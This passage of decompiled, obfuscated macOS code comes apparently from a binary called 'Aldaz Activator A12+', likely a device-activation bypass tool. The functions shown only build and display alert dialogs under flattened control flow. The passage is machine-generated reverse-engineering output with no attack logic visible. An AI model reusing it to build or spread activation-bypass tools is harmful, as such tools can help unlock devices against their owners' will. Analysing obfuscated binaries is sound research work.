while ( v12 != -758925014 );
return result;
}
// 10028B250: using guessed type __CFString stru_10028B250;
// 10028B290: using guessed type __CFString cfstr_5_3_2;
// 10028B2D0: using guessed type __CFString stru_10028B2D0;
// 10028B310: using guessed type __CFString stru_10028B310;
// 10029F654: using guessed type int dword_10029F654;
//----- (00000001001E96FB) ----------------------------------------------------
__int64 __fastcall __showOutMessage_block_invoke(__int64 a1)
{
__int64 result; // rax
int v2; // eax
bool v3; // zf
int v4; // ecx
int v5; // ecx
id v6; // rax
char v7; // cf
int v8; // ecx
id v9; // rax
NSString *v10; // rax
id v11; // rax
id v12; // rax
id v13; // rax
id v14; // rax
int v15; // [rsp+0h] [rbp-50h]
int v16; // [rsp+4h] [rbp-4Ch] BYREF
id v17; // [rsp+8h] [rbp-48h]
id v18; // [rsp+10h] [rbp-40h]
bool v19; // [rsp+1Eh] [rbp-32h]
char v20; // [rsp+1Fh] [rbp-31h]
int *v21; // [rsp+20h] [rbp-30h]
v15 = dword_10029F658;
v16 = 1293737920;
v21 = &v16;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v16;
if ( v16 > -274514387 )
break;
if ( v16 > -1144766584 )
{
if ( v16 <= -667849505 )
{
switch ( v16 )
{
case -1144766583:
*v21 = 386999268;
break;
case -837351837:
*v21 = -1195593370;
break;
case -674359169:
HikariFunctionWrapper_19193(v18, "setMessageText:");
objc_release(v17);
objc_msgSend(v18, "setInformativeText:", *(_QWORD *)(a1 + 32));
objc_msgSend(v18, "setAlertStyle:", 2);
v6 = objc_msgSend(v18, "addButtonWithTitle:", CFSTR("\xB1c\r"));
objc_unsafeClaimAutoreleasedReturnValue(v6);
v7 = 1;
v2 = -674359169;
v8 = -2087158873;
goto LABEL_71;
}
}
else if ( v16 > -513944223 )
{
if ( v16 == -513944222 )
{
qmemcpy(asc_10028B370, "Aldaz Activator", 15);
*v21 = 155329965;
}
else if ( v16 == -477161307 )
{
*v21 = -2087652854;
}
}
else if ( v16 == -667849504 )
{
*v21 = 2141650370;
}
else if ( v16 == -595101563 )
{
v2 = 155329965;
goto LABEL_73;
}
}
else if ( v16 <= -1831570827 )
{
switch ( v16 )
{
case -2099271749:
v3 = !v19;
v2 = 386999268;
v4 = -595101563;
LABEL_64:
if ( !v3 )
v2 = v4;
goto LABEL_73;
case -2087652854:
asc_10028B370[15] = v20;
asc_10028B370[16] = 65;
asc_10028B370[17] = 49;
asc_10028B370[18] = 50;
asc_10028B370[19] = 43;
asc_10028B370[20] = 32;
asc_10028B370[21] = 118;
asc_10028B370[22] = 37;
asc_10028B370[23] = 64;
*v21 = 1249354296;
break;
case -2087158873:
*v21 = 1447008370;
break;
}
}
else if ( v16 > -1392663357 )
{
if ( v16 == -1392663356 )
{
v7 = 1;
v2 = -837351837;
v8 = -1195593370;
LABEL_71:
if ( v7 )
v2 = v8;
LABEL_73:
*v21 = v2;
}
else if ( v16 == -1195593370 )
{
*v21 = -2099271749;
}
}
else if ( v16 == -1831570826 )
{
objc_msgSend(v18, "setMessageText:", v17);
objc_release(v17);
objc_msgSend(v18, "setInformativeText:", *(_QWORD *)(a1 + 32));
objc_msgSend(v18, "setAlertStyle:", 2);
v14 = objc_msgSend(v18, "addButtonWithTitle:", CFSTR("\xB1c\r"));
objc_unsafeClaimAutoreleasedReturnValue(v14);
*v21 = -674359169;
}
else if ( v16 == -1398969613 )
{
asc_10028B370[24] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
asc_10028B33C[4] = 49;
asc_10028B33C[5] = 0;
asc_10028B333[0] = 79;
asc_10028B333[1] = 107;
asc_10028B333[2] = 0;
v2 = -1144766583;
goto LABEL_73;
}
}
if ( v16 > 1293737919 )
break;
if ( v16 <= 155329964 )
{
switch ( v16 )
{
case -274514386:
*v21 = -1392663356;
break;
case -231870886:
objc_msgSend(v18, "runModal");
HikariFunctionWrapper_19195((void *)0xFFFFFFFFFFFFFFFFLL, "terminate:");
objc_release(v18);
*v21 = 1816830734;
break;
case 102596896:
asc_10028B370[24] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
asc_10028B33C[4] = 49;
asc_10028B33C[5] = 0;
asc_10028B333[0] = 79;
asc_10028B333[1] = 107;
asc_10028B333[2] = 0;
*v21 = -1398969613;
break;
}
}
else if ( v16 > 611041021 )
{
if ( v16 == 611041022 )
{
dword_10029F658 = 1;
v11 = objc_alloc((Class)&OBJC_CLASS___NSAlert);
v18 = objc_msgSend(v11, "init");
v12 = HikariFunctionWrapper_19191(&OBJC_CLASS___NSString, "stringWithFormat:");
v13 = objc_retainAutoreleasedReturnValue(v12);
v7 = 1;
v17 = v13;
v2 = 611041022;
v8 = -667849504;
goto LABEL_71;
}
if ( v16 == 1249354296 )
{
v7 = 0;
v2 = -1398969613;
v8 = 102596896;
goto LABEL_71;
}
}
else if ( v16 == 155329965 )
{
qmemcpy(asc_10028B370, "Aldaz Activator", 15);
v20 = 32;
*v21 = -477161307;
}
else if ( v16 == 386999268 )
{
v3 = 0;
v2 = 1565326766;
v4 = 611041022;
goto LABEL_64;
}
}
if ( v16 > 1757163281 )
break;
if ( v16 > 1447008369 )
{
if ( v16 == 1447008370 )
{
v3 = 0;
v2 = -231870886;
v4 = 1816830734;
goto LABEL_64;
}
if ( v16 == 1565326766 )
{
dword_10029F658 = 1;
v9 = objc_alloc((Class)&OBJC_CLASS___NSAlert);
objc_msgSend(v9, "init");
v10 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xBD.\x96͠\xAD\x1D\xB2\xDD\xF8\x05\x9A\x12ָ\n\x91\xE9\x36\x93\x8D\xA1\xFB\f\x18"),
CFSTR("\x9F\n#\xAFHt"));
objc_retainAutoreleasedReturnValue(v10);
*v21 = 611041022;
}
}
else
{
if ( v16 == 1293737920 )
{
v5 = 1325507214;
goto LABEL_60;
}
if ( v16 == 1325507214 )
{
v19 = v15 == 0;
v2 = -274514386;
goto LABEL_73;
}
}
}
if ( v16 <= 1889245691 )
break;
if ( v16 == 1889245692 )
{
*v21 = 1325507214;
}
else if ( v16 == 2141650370 )
{
v5 = -674359169;
LABEL_60:
v2 = v5;
goto LABEL_73;
}
}
if ( v16 == 1816830734 )
{
objc_msgSend(v18, "runModal");
objc_msgSend((id)0xFFFFFFFFFFFFFFFFLL, "terminate:", 0);
objc_release(v18);
v7 = 0;
v2 = 1757163282;
v8 = 1816830734;
goto LABEL_71;
}
}
while ( v16 != 1757163282 );
return result;
}
// 10028B3B0: using guessed type __CFString stru_10028B3B0;
// 10028B3F0: using guessed type __CFString stru_10028B3F0;
// 10028B430: using guessed type __CFString stru_10028B430;
// 10029F658: using guessed type int dword_10029F658;
//----- (00000001001EA2BE) ----------------------------------------------------
__int64 __fastcall __showErrMessage_block_invoke(__int64 a1)
{
__int64 result; // rax
int v2; // eax
id v3; // rax
id v4; // rax
id v5; // rax
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
id v10; // rax
id v11; // r13
id v12; // rax
char v13; // cf
int v14; // ecx
id v15; // rax
id v16; // r13
id v17; // rax
objc_class *v18; // [rsp+8h] [rbp-68h]
id v19; // [rsp+10h] [rbp-60h]
const char *v20; // [rsp+18h] [rbp-58h]
int v21; // [rsp+28h] [rbp-48h]
int v22; // [rsp+2Ch] [rbp-44h] BYREF
id v23; // [rsp+30h] [rbp-40h]
bool v24; // [rsp+3Fh] [rbp-31h]
int *v25; // [rsp+40h] [rbp-30h]
v22 = 260737248;
v25 = &v22;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v22;
if ( v22 > 260737247 )
break;
if ( v22 <= -320882014 )
{
if ( v22 <= -747783617 )
{
switch ( v22 )
{
case -1960360242:
v13 = 0;
v2 = 253778016;
v14 = 1923582380;
LABEL_78:
if ( !v13 )
v2 = v14;
goto LABEL_80;
case -1108534023:
v2 = -446203363;
goto LABEL_80;
case -776068333:
v6 = 1;
v2 = 2016014426;
v7 = 1296501442;
goto LABEL_69;
}
}
else if ( v22 > -446203364 )
{
if ( v22 == -446203363 )
{
v15 = objc_msgSend(
v19,
v20,
CFSTR("\xBD.\x96͠\xAD\x1D\xB2\xDD\xF8\x05\x9A\x12ָ\n\x91\xE9\x36\x93\x8D\xA1\xFB\f\x18"),
CFSTR("\x9F\n#\xAFHt"));
v16 = objc_retainAutoreleasedReturnValue(v15);
objc_msgSend(v23, "setMessageText:", v16);
objc_release(v16);
objc_msgSend(v23, "setInformativeText:", *(_QWORD *)(a1 + 32));
objc_msgSend(v23, "setAlertStyle:", 2);
v17 = HikariFunctionWrapper_19197(v23, "addButtonWithTitle:");
objc_unsafeClaimAutoreleasedReturnValue(v17);
HikariFunctionWrapper_19199(v23, "runModal");
objc_release(v23);
v13 = 0;
v2 = 2084554642;
v14 = 1082579974;
goto LABEL_78;
}
if ( v22 == -392059382 )
*v25 = -20099733;
}
else if ( v22 == -747783616 )
{
dword_10029F65C = 1;
v18 = (objc_class *)&OBJC_CLASS___NSAlert;
*v25 = -776068333;
}
else if ( v22 == -512360706 )
{
v21 = dword_10029F65C;
v2 = 1373394989;
goto LABEL_80;
}
}
else if ( v22 > 10343615 )
{
if ( v22 > 56486221 )
{
if ( v22 == 56486222 )
{
v6 = 0;
asc_10028B370[0] = 65;
asc_10028B370[1] = 108;
v2 = -392059382;
v7 = 1841401849;
LABEL_69:
if ( v6 )
v2 = v7;
goto LABEL_80;
}
if ( v22 == 253778016 )
*v25 = 1923582380;
}
else if ( v22 == 10343616 )
{
asc_10028B370[2] = 100;
asc_10028B370[3] = 97;
asc_10028B370[4] = 122;
asc_10028B370[5] = 32;
asc_10028B370[6] = 65;
asc_10028B370[7] = 99;
asc_10028B370[8] = 116;
asc_10028B370[9] = 105;
asc_10028B370[10] = 118;
asc_10028B370[11] = 97;
asc_10028B370[12] = 116;
asc_10028B370[13] = 111;
asc_10028B370[14] = 114;
asc_10028B370[15] = 32;
asc_10028B370[16] = 65;
asc_10028B370[17] = 49;
asc_10028B370[18] = 50;
asc_10028B370[19] = 43;
asc_10028B370[20] = 32;
asc_10028B370[21] = 118;
asc_10028B370[22] = 37;
asc_10028B370[23] = 64;
asc_10028B370[24] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
asc_10028B33C[4] = 49;
*v25 = 747472646;
}
else if ( v22 == 56083351 )
{
asc_10028B33C[5] = 0;
asc_10028B333[0] = 79;
asc_10028B333[1] = 107;
asc_10028B333[2] = 0;
*v25 = -747783616;
}
}
else if ( v22 > -25390809 )
{
if ( v22 == -25390808 )
{
*v25 = 56083351;
}
else if ( v22 == -20099733 )
{
v13 = 0;
v2 = 10343616;
v14 = 747472646;
goto LABEL_78;
}
}
else
{
if ( v22 == -320882013 )
{
v13 = 1;
v2 = 56486222;
v14 = 1841401849;
goto LABEL_78;
}
if ( v22 == -288261824 )
*v25 = -1960360242;
}
}
if ( v22 <= 1373394988 )
break;
if ( v22 <= 1923582379 )
{
switch ( v22 )
{
case 1373394989:
*v25 = 880989324;
break;
case 1382380495:
v8 = !v24;
v2 = -747783616;
v9 = -320882013;
LABEL_74:
if ( !v8 )
v2 = v9;
LABEL_80:
*v25 = v2;
break;
case 1841401849:
asc_10028B370[0] = 65;
asc_10028B370[1] = 108;
*v25 = 56486222;
break;
}
}
else if ( v22 > 2046992354 )
{
if ( v22 == 2046992355 )
{
*v25 = 1214213650;
}
else if ( v22 == 2084554642 )
{
v10 = objc_msgSend(
v19,
v20,
CFSTR("\xBD.\x96͠\xAD\x1D\xB2\xDD\xF8\x05\x9A\x12ָ\n\x91\xE9\x36\x93\x8D\xA1\xFB\f\x18"),
CFSTR("\x9F\n#\xAFHt"));
v11 = objc_retainAutoreleasedReturnValue(v10);
objc_msgSend(v23, "setMessageText:", v11);
objc_release(v11);
HikariFunctionWrapper_19201(v23, "setInformativeText:");
objc_msgSend(v23, "setAlertStyle:", 2);
v12 = objc_msgSend(v23, "addButtonWithTitle:", CFSTR("\xB1c\r"));
objc_unsafeClaimAutoreleasedReturnValue(v12);
HikariFunctionWrapper_19203(v23, "runModal");
objc_release(v23);
*v25 = -446203363;
}
}
else
{
if ( v22 == 1923582380 )
{
v2 = 1382380495;
goto LABEL_80;
}
if ( v22 == 2016014426 )
{
v3 = objc_alloc(v18);
objc_msgSend(v3, "init");
*v25 = 1296501442;
}
}
}
if ( v22 > 899836086 )
break;
if ( v22 > 747472645 )
{
if ( v22 == 747472646 )
{
asc_10028B370[2] = 100;
asc_10028B370[3] = 97;
asc_10028B370[4] = 122;
asc_10028B370[5] = 32;
asc_10028B370[6] = 65;
asc_10028B370[7] = 99;
asc_10028B370[8] = 116;
asc_10028B370[9] = 105;
asc_10028B370[10] = 118;
asc_10028B370[11] = 97;
asc_10028B370[12] = 116;
asc_10028B370[13] = 111;
asc_10028B370[14] = 114;
asc_10028B370[15] = 32;
asc_10028B370[16] = 65;
asc_10028B370[17] = 49;
asc_10028B370[18] = 50;
asc_10028B370[19] = 43;
asc_10028B370[20] = 32;
asc_10028B370[21] = 118;
asc_10028B370[22] = 37;
asc_10028B370[23] = 64;
asc_10028B370[24] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
v8 = 0;
asc_10028B33C[4] = 49;
v2 = 10343616;
v9 = -25390808;
goto LABEL_74;
}
if ( v22 == 880989324 )
{
v8 = 0;
v2 = 2046992355;
v9 = 1214213650;
goto LABEL_74;
}
}
else
{
if ( v22 == 260737248 )
{
v2 = -512360706;
goto LABEL_80;
}
if ( v22 == 509492184 )
*v25 = -1108534023;
}
}
if ( v22 <= 1214213649 )
break;
if ( v22 == 1214213650 )
{
v24 = v21 == 0;
v2 = -288261824;
goto LABEL_80;
}
if ( v22 == 1296501442 )
{
v4 = objc_alloc(v18);
v5 = objc_msgSend(v4, "init");
v6 = 1;
v23 = v5;
v19 = &OBJC_CLASS___NSString;
v20 = "stringWithFormat:";
v2 = 1296501442;
v7 = 509492184;
goto LABEL_69;
}
}
if ( v22 != 899836087 )
break;
*v25 = -512360706;
}
}
while ( v22 != 1082579974 );
return result;
}
// 1001EA457: variable 'v18' is possibly undefined
// 1001EA6E8: variable 'v19' is possibly undefined
// 1001EA6E8: variable 'v20' is possibly undefined
// 1001EA83F: variable 'v21' is possibly undefined
// 10028B470: using guessed type __CFString stru_10028B470;
// 10028B4B0: using guessed type __CFString stru_10028B4B0;
// 10028B4F0: using guessed type __CFString stru_10028B4F0;
// 10029F65C: using guessed type int dword_10029F65C;
//----- (00000001001EAEDD) ----------------------------------------------------
__int64 __fastcall __showOkMessage_block_invoke(__int64 a1)
{
__int64 result; // rax
int v2; // eax
bool v3; // zf
int v4; // ecx
id v5; // rax
id v6; // rax
char v7; // cf
int v8; // ecx
char v9; // cf
int v10; // ecx
id v11; // rax
id v12; // rax
const char *v13; // [rsp+0h] [rbp-60h]
int v14; // [rsp+10h] [rbp-50h]
int v15; // [rsp+14h] [rbp-4Ch] BYREF
id v16; // [rsp+18h] [rbp-48h]
id v17; // [rsp+20h] [rbp-40h]
bool v18; // [rsp+2Dh] [rbp-33h]
char v19; // [rsp+2Eh] [rbp-32h]
char v20; // [rsp+2Fh] [rbp-31h]
int *v21; // [rsp+30h] [rbp-30h]
v15 = 919704789;
v21 = &v15;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v15;
if ( v15 <= 244518553 )
break;
if ( v15 > 939745075 )
{
if ( v15 > 1460371321 )
{
if ( v15 > 2063341464 )
{
if ( v15 == 2063341465 )
{
v18 = v14 == 0;
v2 = -1298924690;
goto LABEL_89;
}
if ( v15 == 2124484482 )
*v21 = -1598763098;
}
else
{
if ( v15 == 1460371322 )
{
v9 = 1;
v2 = -791851493;
v10 = -1953968987;
goto LABEL_82;
}
if ( v15 == 1999197701 )
{
asc_10028B333[0] = v20 ^ 0x2C;
asc_10028B333[1] = 107;
asc_10028B333[2] = 0;
*v21 = -695619808;
}
}
}
else if ( v15 > 1272598762 )
{
if ( v15 == 1272598763 )
{
v11 = objc_msgSend(v17, v13, CFSTR("\xB1c\r"));
objc_unsafeClaimAutoreleasedReturnValue(v11);
HikariFunctionWrapper_19207(v17, "runModal");
objc_release(v17);
v9 = 0;
v2 = 1272598763;
v10 = -1882598621;
goto LABEL_82;
}
if ( v15 == 1344775516 )
{
v7 = 0;
v2 = -695619808;
v8 = 1999197701;
goto LABEL_78;
}
}
else if ( v15 == 939745076 )
{
asc_10028B370[22] = v19;
asc_10028B370[23] = 64;
asc_10028B370[24] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
asc_10028B33C[4] = 49;
asc_10028B33C[5] = 0;
v20 = 99;
*v21 = 1163294616;
}
else if ( v15 == 1163294616 )
{
*v21 = 1344775516;
}
}
else if ( v15 > 737091416 )
{
if ( v15 > 906235508 )
{
if ( v15 == 906235509 )
{
*v21 = 2063341465;
}
else if ( v15 == 919704789 )
{
v7 = 1;
v2 = -1683473150;
v8 = -24737229;
goto LABEL_78;
}
}
else
{
if ( v15 == 737091417 )
{
v7 = 1;
v2 = 737091417;
v8 = 797971050;
goto LABEL_78;
}
if ( v15 == 797971050 )
{
v3 = !v18;
v2 = -1598763098;
v4 = 8333347;
goto LABEL_87;
}
}
}
else if ( v15 > 436787217 )
{
if ( v15 == 436787218 )
{
*v21 = 737091417;
}
else if ( v15 == 697538865 )
{
v7 = 1;
v2 = -510563070;
v8 = 939745076;
goto LABEL_78;
}
}
else
{
if ( v15 == 244518554 )
{
qmemcpy(asc_10028B370, "Aldaz Activator A12+ v", 22);
v7 = 1;
v19 = 37;
v2 = 244518554;
v8 = -1599627321;
goto LABEL_78;
}
if ( v15 == 419255811 )
{
v2 = 1272598763;
goto LABEL_89;
}
}
}
if ( v15 <= -966094661 )
break;
if ( v15 > -320153564 )
{
if ( v15 > -24737230 )
{
if ( v15 == -24737229 )
{
v9 = 1;
v14 = dword_10029F660;
v2 = -140495799;
v10 = -1683473150;
LABEL_82:
if ( !v9 )
v2 = v10;
LABEL_89:
*v21 = v2;
}
else if ( v15 == 8333347 )
{
v9 = 1;
v2 = 244518554;
v10 = -320153563;
goto LABEL_82;
}
}
else if ( v15 == -320153563 )
{
qmemcpy(asc_10028B370, "Aldaz Activator A12+ v", 22);
*v21 = 244518554;
}
else if ( v15 == -140495799 )
{
*v21 = -1866986638;
}
}
else if ( v15 > -695619809 )
{
if ( v15 == -695619808 )
{
v7 = 1;
asc_10028B333[0] = v20 ^ 0x2C;
asc_10028B333[1] = 107;
asc_10028B333[2] = 0;
v2 = 1999197701;
v8 = 2124484482;
LABEL_78:
if ( v7 )
v2 = v8;
goto LABEL_89;
}
if ( v15 == -510563070 )
{
asc_10028B370[22] = v19;
asc_10028B370[23] = 64;
asc_10028B370[24] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
asc_10028B33C[4] = 49;
asc_10028B33C[5] = 0;
*v21 = 939745076;
}
}
else if ( v15 == -966094660 )
{
v12 = objc_msgSend(v17, v13, CFSTR("\xB1c\r"));
objc_unsafeClaimAutoreleasedReturnValue(v12);
objc_msgSend(v17, "runModal");
objc_release(v17);
*v21 = 1272598763;
}
else if ( v15 == -791851493 )
{
objc_msgSend(v17, "setMessageText:", v16);
objc_release(v16);
objc_msgSend(v17, "setInformativeText:", *(_QWORD *)(a1 + 32));
v3 = 0;
v13 = "addButtonWithTitle:";
v2 = -1953968987;
v4 = -1944204801;
goto LABEL_87;
}
}
if ( v15 <= -1599627322 )
break;
if ( v15 > -1527385202 )
{
if ( v15 == -1527385201 )
{
v3 = 0;
v2 = 436787218;
v4 = 737091417;
LABEL_87:
if ( !v3 )
v2 = v4;
goto LABEL_89;
}
if ( v15 == -1298924690 )
*v21 = -1527385201;
}
else if ( v15 == -1599627321 )
{
*v21 = 697538865;
}
else if ( v15 == -1598763098 )
{
dword_10029F660 = 1;
v5 = objc_alloc((Class)&OBJC_CLASS___NSAlert);
v17 = objc_msgSend(v5, "init");
v6 = HikariFunctionWrapper_19205(&OBJC_CLASS___NSString, "stringWithFormat:");
v16 = objc_retainAutoreleasedReturnValue(v6);
*v21 = 1460371322;
}
}
if ( v15 > -1882598622 )
break;
if ( v15 == -1953968987 )
{
objc_msgSend(v17, "setMessageText:", v16);
objc_release(v16);
HikariFunctionWrapper_19209(v17, "setInformativeText:");
*v21 = -791851493;
}
else if ( v15 == -1944204801 )
{
*v21 = 419255811;
}
}
if ( v15 == -1866986638 )
{
v7 = 0;
v2 = 2063341465;
v8 = 906235509;
goto LABEL_78;
}
if ( v15 != -1683473150 )
break;
*v21 = -24737229;
}
}
while ( v15 != -1882598621 );
return result;
}
// 1001EB826: variable 'v13' is possibly undefined
// 1001EB8B3: variable 'v14' is possibly undefined
// 10028B530: using guessed type __CFString stru_10028B530;
// 10029F660: using guessed type int dword_10029F660;
//----- (00000001001EBBAD) ----------------------------------------------------
__int64 __fastcall __showOkMessageBasic_block_invoke(__int64 a1)
{
__int64 result; // rax
id v3; // rax
id v4; // r13
id v5; // rax
char v6; // cf
int v7; // eax
int v8; // ecx
id v9; // rdi
id v10; // rax
id v11; // r13
id v12; // rax
char v13; // cf
int v14; // ecx
bool v15; // zf
int v16; // ecx
id v17; // rdi
id v18; // rax
id v19; // [rsp+0h] [rbp-50h]
int v20; // [rsp+8h] [rbp-48h]
int v21; // [rsp+Ch] [rbp-44h] BYREF
id v22; // [rsp+10h] [rbp-40h]
bool v23; // [rsp+1Dh] [rbp-33h]
char v24; // [rsp+1Eh] [rbp-32h]
char v25; // [rsp+1Fh] [rbp-31h]
int *v26; // [rsp+20h] [rbp-30h]
v20 = dword_10029F664;
v21 = 710399361;
v26 = &v21;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v21;
if ( v21 <= -316516197 )
break;
if ( v21 <= 384122597 )
{
if ( v21 > -14667134 )
{
switch ( v21 )
{
case -14667133:
*v26 = 1709835555;
break;
case 299070210:
qmemcpy(asc_10028B370, "Aldaz Activator ", 16);
v15 = 0;
v25 = -124;
v7 = 299070210;
v16 = -47287136;
goto LABEL_65;
case 382218252:
v6 = 1;
v7 = 299070210;
v8 = -1337432606;
goto LABEL_54;
}
}
else
{
switch ( v21 )
{
case -316516196:
v15 = 0;
v7 = 1685083870;
v16 = 384122598;
goto LABEL_65;
case -116238797:
v23 = v20 == 0;
v6 = 0;
v7 = -116238797;
v8 = -596495396;
LABEL_54:
if ( !v6 )
v7 = v8;
goto LABEL_70;
case -47287136:
*v26 = -316516196;
break;
}
}
}
else if ( v21 <= 998500813 )
{
switch ( v21 )
{
case 384122598:
asc_10028B370[16] = v25 ^ 0xC5;
asc_10028B370[17] = 49;
v24 = 50;
v7 = -1014172052;
goto LABEL_70;
case 710399361:
v7 = -116238797;
goto LABEL_70;
case 768083825:
v10 = objc_msgSend(
v19,
"stringWithFormat:",
CFSTR("\xBD.\x96͠\xAD\x1D\xB2\xDD\xF8\x05\x9A\x12ָ\n\x91\xE9\x36\x93\x8D\xA1\xFB\f\x18"),
CFSTR("\x9F\n#\xAFHt"));
v11 = objc_retainAutoreleasedReturnValue(v10);
objc_msgSend(v22, "setMessageText:", v11);
objc_release(v11);
HikariFunctionWrapper_19211(v22, "setInformativeText:");
v12 = objc_msgSend(v22, "addButtonWithTitle:", CFSTR("\xB1c\r"));
objc_unsafeClaimAutoreleasedReturnValue(v12);
objc_msgSend(v22, "runModal");
objc_release(v22);
v13 = 0;
v7 = -710330593;
v14 = 1616604025;
goto LABEL_48;
}
}
else if ( v21 > 1685083869 )
{
if ( v21 == 1685083870 )
{
asc_10028B370[16] = v25 ^ 0xC5;
asc_10028B370[17] = 49;
*v26 = 384122598;
}
else if ( v21 == 1709835555 )
{
v13 = 1;
v7 = 1616604025;
v14 = 768083825;
goto LABEL_48;
}
}
else
{
if ( v21 == 998500814 )
{
v13 = 1;
v7 = -1122229251;
v14 = -1245169342;
LABEL_48:
if ( v13 )
v7 = v14;
goto LABEL_70;
}
if ( v21 == 1616604025 )
{
v3 = objc_msgSend(
v19,
"stringWithFormat:",
CFSTR("\xBD.\x96͠\xAD\x1D\xB2\xDD\xF8\x05\x9A\x12ָ\n\x91\xE9\x36\x93\x8D\xA1\xFB\f\x18"),
CFSTR("\x9F\n#\xAFHt"));
v4 = objc_retainAutoreleasedReturnValue(v3);
HikariFunctionWrapper_19213(v22, "setMessageText:");
objc_release(v4);
objc_msgSend(v22, "setInformativeText:", *(_QWORD *)(a1 + 32));
v5 = objc_msgSend(v22, "addButtonWithTitle:", CFSTR("\xB1c\r"));
objc_unsafeClaimAutoreleasedReturnValue(v5);
objc_msgSend(v22, "runModal");
objc_release(v22);
*v26 = 768083825;
}
}
}
if ( v21 > -1122229252 )
break;
if ( v21 > -1245169343 )
{
switch ( v21 )
{
case -1245169342:
v15 = 0;
dword_10029F664 = 1;
v7 = -1122229251;
v16 = -893576321;
LABEL_65:
if ( !v15 )
v7 = v16;
LABEL_70:
*v26 = v7;
break;
case -1225124870:
*v26 = -116238797;
break;
case -1223769471:
v9 = objc_alloc((Class)&OBJC_CLASS___NSAlert);
objc_msgSend(v9, "init");
*v26 = -1494744315;
break;
}
}
else
{
switch ( v21 )
{
case -2136125784:
v15 = !v23;
v7 = 998500814;
v16 = 382218252;
goto LABEL_65;
case -1494744315:
v17 = objc_alloc((Class)&OBJC_CLASS___NSAlert);
v18 = objc_msgSend(v17, "init");
v15 = 0;
v22 = v18;
v19 = &OBJC_CLASS___NSString;
v7 = -1494744315;
v16 = -14667133;
goto LABEL_65;
case -1337432606:
qmemcpy(asc_10028B370, "Aldaz Activator ", 16);
*v26 = 299070210;
break;
}
}
}
if ( v21 > -893576322 )
break;
switch ( v21 )
{
case -1122229251:
dword_10029F664 = 1;
*v26 = -1245169342;
break;
case -1065240999:
v6 = 1;
v7 = -1494744315;
v8 = -1223769471;
goto LABEL_54;
case -1014172052:
*v26 = -356046897;
break;
}
}
if ( v21 <= -596495397 )
break;
if ( v21 == -596495396 )
{
*v26 = -2136125784;
}
else if ( v21 == -356046897 )
{
asc_10028B370[18] = v24;
asc_10028B370[19] = 43;
asc_10028B370[20] = 32;
asc_10028B370[21] = 118;
asc_10028B370[22] = 37;
asc_10028B370[23] = 64;
asc_10028B370[24] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
asc_10028B33C[4] = 49;
asc_10028B33C[5] = 0;
asc_10028B333[0] = 79;
asc_10028B333[1] = 107;
asc_10028B333[2] = 0;
*v26 = 998500814;
}
}
if ( v21 != -893576321 )
break;
*v26 = -1065240999;
}
}
while ( v21 != -710330593 );
return result;
}
// 1001EBC42: variable 'v19' is possibly undefined
// 10028B5F0: using guessed type __CFString stru_10028B5F0;
// 10028B630: using guessed type __CFString stru_10028B630;
// 10028B670: using guessed type __CFString stru_10028B670;
// 10029F664: using guessed type int dword_10029F664;
//----- (00000001001EC641) ----------------------------------------------------
void __cdecl -[AppDelegate deviceNotificationChecker](AppDelegate *self, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
dispatch_queue_global_t v7; // rax
dispatch_queue_s *v8; // rax
char *v9; // [rsp+0h] [rbp-50h] BYREF
int v10; // [rsp+8h] [rbp-48h]
int v11; // [rsp+Ch] [rbp-44h] BYREF
dispatch_queue_t queue; // [rsp+10h] [rbp-40h]
dispatch_block_t block; // [rsp+18h] [rbp-38h]
int *v14; // [rsp+20h] [rbp-30h]
v10 = 1230086480;
v11 = -1540976499;
v14 = &v11;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v11 > -1540976500 )
{
if ( v11 > -788728680 )
{
switch ( v11 )
{
case -788728679:
*v14 = -1847206918;
break;
case 1857421469:
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)block + 4) = self;
*v14 = -1576865649;
break;
case 2128247069:
v2 = 1;
v3 = 1857421469;
v4 = -1576865649;
goto LABEL_20;
}
}
else
{
switch ( v11 )
{
case -1540976499:
v5 = v10 == -1934988858;
v3 = -1479240690;
v6 = -1781004368;
goto LABEL_29;
case -1479240690:
block = &v9 - 6;
v7 = HikariFunctionWrapper_19215(25, 0);
v8 = objc_retainAutoreleasedReturnValue(v7);
v5 = 0;
queue = v8;
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __40__AppDelegate_deviceNotificationChecker__block_invoke;
v3 = -2002134716;
v6 = -1479240690;
LABEL_29:
if ( v5 )
v3 = v6;
goto LABEL_31;
case -1047779826:
dispatch_async(queue, block);
objc_release(queue);
*v14 = -1886625870;
break;
}
}
}
if ( v11 <= -1847206919 )
break;
switch ( v11 )
{
case -1847206918:
v5 = 0;
v3 = -1886625870;
v6 = -1047779826;
goto LABEL_29;
case -1781004368:
*(&v9 - 6) = (char *)_NSConcreteStackBlock;
*(&v9 - 5) = (char *)3254779904LL;
